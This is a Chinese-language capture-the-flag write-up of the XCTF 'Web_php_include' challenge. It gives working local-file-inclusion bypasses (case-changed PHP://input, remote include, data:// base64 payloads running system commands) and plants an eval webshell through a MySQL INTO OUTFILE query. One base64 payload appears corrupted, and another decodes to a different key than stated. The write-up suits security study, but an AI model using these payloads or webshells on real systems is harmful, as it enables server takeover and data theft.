天天看點

【XCTF 攻防世界】WEB 高手進階區 Web_php_include基礎題解本題相關知識點:一題多解:

目錄

  • 基礎題解
  • 本題相關知識點:
  • 一題多解:
    • php檔案包含
    • 一句話木馬
    • data://僞協定
    • data://僞協定+一句話木馬

基礎題解

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>
           

上面這段代碼功能:上傳内容中若有“php://”則删除

此處利用strstr()函數大小寫的敏感性,進行繞過:

/?page=PHP://input

然後傳入php語句

得到目錄檔案

【XCTF 攻防世界】WEB 高手進階區 Web_php_include基礎題解本題相關知識點:一題多解:

然後可直接獲得flag

注意:

現在好像不能直接在網頁中顯示flag,隻有用bp才能看到

如下:

【XCTF 攻防世界】WEB 高手進階區 Web_php_include基礎題解本題相關知識點:一題多解:

ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

本題相關知識點:

php://input、php://output用法解析

php協定

php://詳解

一題多解:

php檔案包含

1.審計php代碼,while函數根據page參數來判斷php檔案是否存在,如果存在此檔案,則進行檔案包含。

2.預設頁面為http://127.0.0.1/index.php,設定為page值,可確定while為真

3.利用hello參數将執行内容顯示,flag如圖所示

http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?system(%22ls%22);?%3E

http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?show_source(%22fl4gisisish3r3.php%22);?%3E

%3C是

<

%22是

"

%3E是

>

【XCTF 攻防世界】WEB 高手進階區 Web_php_include基礎題解本題相關知識點:一題多解:

一句話木馬

先用禦劍掃描背景看到管理者界面

【XCTF 攻防世界】WEB 高手進階區 Web_php_include基礎題解本題相關知識點:一題多解:

使用者名為root,密碼為空

然後進行資料庫更改

SQL查詢語句

SELECT "<?php eval(@$_POST['1']); ?>"
INTO OUTFILE '/tmp/test1.php'
           

添加一句話木馬

【XCTF 攻防世界】WEB 高手進階區 Web_php_include基礎題解本題相關知識點:一題多解:

然後打開中國劍蟻

輸入url和密碼

使用方法:在網址後加參數:

/?page=/tmp/test1.php

這裡一定要注意,不能忘記tmp前面的

/

【XCTF 攻防世界】WEB 高手進階區 Web_php_include基礎題解本題相關知識點:一題多解:
【XCTF 攻防世界】WEB 高手進階區 Web_php_include基礎題解本題相關知識點:一題多解:
【XCTF 攻防世界】WEB 高手進階區 Web_php_include基礎題解本題相關知識點:一題多解:

得到flag

data://僞協定

既然過濾了php://的僞協定 我們可以使用其他協定來做這裡使用data://僞協定

data://僞協定

php5.2.0起,資料流封裝器開始有效,主要用于資料流的讀取。如果傳入的資料是PHP代碼,就會執行代碼

使用方法:

data://text/plain;base64,xxxx(base64編碼後的資料)

<?php system("ls")?> base64編碼後使用

/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIisssKT8%2b

(注意編碼後的+号要URL編碼)

<?php system("cat fl4gisisish3r3.php")?> base64編碼後使用

/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

檢視源碼得到flag

【XCTF 攻防世界】WEB 高手進階區 Web_php_include基礎題解本題相關知識點:一題多解:

data://僞協定+一句話木馬

<?php eval($_POST["1"]); ?>

base64加密後拼接

/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==

菜刀連接配接即可

(不用base64同樣可以達到效果)

再或者

/index.php?page=data:text/plain,<?php system("ls"); ?>